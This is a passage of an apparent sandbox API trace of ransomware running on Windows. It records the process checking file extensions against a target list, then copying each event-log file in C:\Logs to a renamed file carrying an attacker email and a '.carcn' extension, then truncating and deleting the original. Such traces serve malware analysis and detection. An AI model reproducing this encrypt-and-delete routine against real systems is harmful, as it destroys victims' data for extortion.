(lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0181.534] lstrlenW (lpString=".jpg") returned 4 [0181.534] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0181.534] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0181.534] lstrlenW (lpString="Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 49 [0181.534] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0181.535] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0181.535] CloseHandle (hObject=0x38c) returned 1 [0181.535] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 0x20 [0181.535] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0181.535] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0181.535] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0181.535] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0181.535] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0181.535] GetLastError () returned 0x0 [0181.535] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0181.651] WriteFile (in: hFile=0x380, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0181.653] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0181.653] WriteFile (in: hFile=0x380, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x136, lpOverlapped=0x0) returned 1 [0181.653] SetEndOfFile (hFile=0x380) returned 1 [0181.653] CloseHandle (hObject=0x380) returned 1 [0181.655] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0181.655] SetEndOfFile (hFile=0x38c) returned 1 [0181.657] CloseHandle (hObject=0x38c) returned 1 [0181.657] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0181.657] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 1 [0181.658] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0181.658] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0181.658] lstrlenW (lpString=".doc") returned 4 [0181.658] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0181.658] lstrlenW (lpString=".docx") returned 5 [0181.658] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0181.658] lstrlenW (lpString=".pdf") returned 4 [0181.658] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0181.658] lstrlenW (lpString=".xls") returned 4 [0181.658] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0181.658] lstrlenW (lpString=".xlsx") returned 5 [0181.658] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0181.658] lstrlenW (lpString=".ppt") returned 4 [0181.658] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0181.658] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0181.658] lstrlenW (lpString=".zip") returned 4 [0181.658] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0181.658] lstrlenW (lpString=".rar") returned 4 [0181.658] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0181.658] lstrlenW (lpString=".bz2") returned 4 [0181.658] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0181.658] lstrlenW (lpString=".7z") returned 3 [0181.658] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0181.658] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0181.658] lstrlenW (lpString=".dbf") returned 4 [0181.658] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0181.658] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0181.658] lstrlenW (lpString=".1cd") returned 4 [0181.658] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0181.658] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0181.658] lstrlenW (lpString=".jpg") returned 4 [0181.659] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0181.659] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0181.659] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0181.659] lstrlenW (lpString=".doc") returned 4 [0181.659] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0181.659] lstrlenW (lpString=".docx") returned 5 [0181.659] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0181.659] lstrlenW (lpString=".pdf") returned 4 [0181.659] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0181.659] lstrlenW (lpString=".xls") returned 4 [0181.659] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0181.659] lstrlenW (lpString=".xlsx") returned 5 [0181.659] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0181.659] lstrlenW (lpString=".ppt") returned 4 [0181.659] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0181.659] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0181.659] lstrlenW (lpString=".zip") returned 4 [0181.659] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0181.659] lstrlenW (lpString=".rar") returned 4 [0181.659] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0181.659] lstrlenW (lpString=".bz2") returned 4 [0181.659] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0181.659] lstrlenW (lpString=".7z") returned 3 [0181.660] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0181.660] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0181.660] lstrlenW (lpString=".dbf") returned 4 [0181.660] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0181.660] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0181.660] lstrlenW (lpString=".1cd") returned 4 [0181.660] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0181.660] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0181.660] lstrlenW (lpString=".jpg") returned 4 [0181.660] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0181.660] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0181.660] lstrlenW (lpString="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 72 [0181.660] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0181.660] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0181.660] CloseHandle (hObject=0x38c) returned 1 [0181.660] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 0x20 [0181.660] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0181.661] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0181.661] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0181.661] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0181.661] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0181.666] GetLastError () returned 0x0 [0181.666] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0181.786] WriteFile (in: hFile=0x398, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0181.787] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0181.787] WriteFile (in: hFile=0x398, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x164, lpOverlapped=0x0) returned 1 [0181.787] SetEndOfFile (hFile=0x398) returned 1 [0181.959] CloseHandle (hObject=0x398) returned 1 [0181.961] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0181.961] SetEndOfFile (hFile=0x38c) returned 1 [0181.962] CloseHandle (hObject=0x38c) returned 1 [0181.962] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0181.962] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 1 [0181.962] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0181.962] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0181.962] lstrlenW (lpString=".doc") returned 4 [0181.962] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0181.962] lstrlenW (lpString=".docx") returned 5 [0181.962] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0181.962] lstrlenW (lpString=".pdf") returned 4 [0181.962] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0181.962] lstrlenW (lpString=".xls") returned 4 [0181.962] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0181.962] lstrlenW (lpString=".xlsx") returned 5 [0181.962] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0181.962] lstrlenW (lpString=".ppt") returned 4 [0181.962] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0181.962] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0181.963] lstrlenW (lpString=".zip") returned 4 [0181.963] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0181.963] lstrlenW (lpString=".rar") returned 4 [0181.963] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0181.963] lstrlenW (lpString=".bz2") returned 4 [0181.963] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0181.963] lstrlenW (lpString=".7z") returned 3 [0181.963] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0181.963] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0181.963] lstrlenW (lpString=".dbf") returned 4 [0181.963] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0181.963] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0181.963] lstrlenW (lpString=".1cd") returned 4 [0181.963] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0181.963] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0181.963] lstrlenW (lpString=".jpg") returned 4 [0181.963] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0181.963] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0181.963] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0181.963] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0181.965] GetLastError () returned 0x0 [0181.965] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0182.063] WriteFile (in: hFile=0x398, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0182.065] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0182.065] WriteFile (in: hFile=0x398, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x128, lpOverlapped=0x0) returned 1 [0182.065] SetEndOfFile (hFile=0x398) returned 1 [0182.065] CloseHandle (hObject=0x398) returned 1 [0182.067] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0182.067] SetEndOfFile (hFile=0x38c) returned 1 [0182.068] CloseHandle (hObject=0x38c) returned 1 [0182.068] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0182.068] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 1 [0182.068] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0182.068] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0182.068] lstrlenW (lpString=".doc") returned 4 [0182.068] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0182.068] lstrlenW (lpString=".docx") returned 5 [0182.068] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0182.068] lstrlenW (lpString=".pdf") returned 4 [0182.069] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0182.069] lstrlenW (lpString=".xls") returned 4 [0182.069] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0182.069] lstrlenW (lpString=".xlsx") returned 5 [0182.069] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0182.069] lstrlenW (lpString=".ppt") returned 4 [0182.069] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0182.069] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0182.069] lstrlenW (lpString=".zip") returned 4 [0182.069] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0182.069] lstrlenW (lpString=".rar") returned 4 [0182.069] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0182.069] lstrlenW (lpString=".bz2") returned 4 [0182.069] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0182.069] lstrlenW (lpString=".7z") returned 3 [0182.069] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0182.069] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0182.069] lstrlenW (lpString=".dbf") returned 4 [0182.069] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0182.069] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0182.069] lstrlenW (lpString=".1cd") returned 4 [0182.069] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0182.069] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0182.069] lstrlenW (lpString=".jpg") returned 4 [0182.069] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0182.070] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0182.070] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0182.070] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0182.070] GetLastError () returned 0x0 [0182.070] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0182.084] WriteFile (in: hFile=0x398, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0182.088] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0182.088] WriteFile (in: hFile=0x398, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x144, lpOverlapped=0x0) returned 1 [0182.088] SetEndOfFile (hFile=0x398) returned 1 [0182.088] CloseHandle (hObject=0x398) returned 1 [0182.090] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0182.090] SetEndOfFile (hFile=0x38c) returned 1 [0182.091] CloseHandle (hObject=0x38c) returned 1 [0182.091] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0182.091] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 1 [0182.091] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0182.091] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0182.091] lstrlenW (lpString=".doc") returned 4 [0182.091] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0182.091] lstrlenW (lpString=".docx") returned 5 [0182.091] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0182.091] lstrlenW (lpString=".pdf") returned 4 [0182.091] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0182.091] lstrlenW (lpString=".xls") returned 4 [0182.091] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0182.092] lstrlenW (lpString=".xlsx") returned 5 [0182.092] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0182.092] lstrlenW (lpString=".ppt") returned 4 [0182.092] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0182.092] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0182.092] lstrlenW (lpString=".zip") returned 4 [0182.092] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0182.092] lstrlenW (lpString=".rar") returned 4 [0182.092] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0182.092] lstrlenW (lpString=".bz2") returned 4 [0182.092] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0182.092] lstrlenW (lpString=".7z") returned 3 [0182.092] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0182.092] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0182.092] lstrlenW (lpString=".dbf") returned 4 [0182.092] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0182.092] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0182.092] lstrlenW (lpString=".1cd") returned 4 [0182.092] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0182.092] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0182.092] lstrlenW (lpString=".jpg") returned 4 [0182.092] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0182.092] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0182.092] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0182.093] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0182.093] GetLastError () returned 0x0 [0182.093] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0182.151] WriteFile (in: hFile=0x398, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0182.152] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0182.152] WriteFile (in: hFile=0x398, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x12e, lpOverlapped=0x0) returned 1 [0182.152] SetEndOfFile (hFile=0x398) returned 1 [0182.152] CloseHandle (hObject=0x398) returned 1 [0182.154] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0182.154] SetEndOfFile (hFile=0x38c) returned 1 [0182.155] CloseHandle (hObject=0x38c) returned 1 [0182.155] SetFileAttributesW 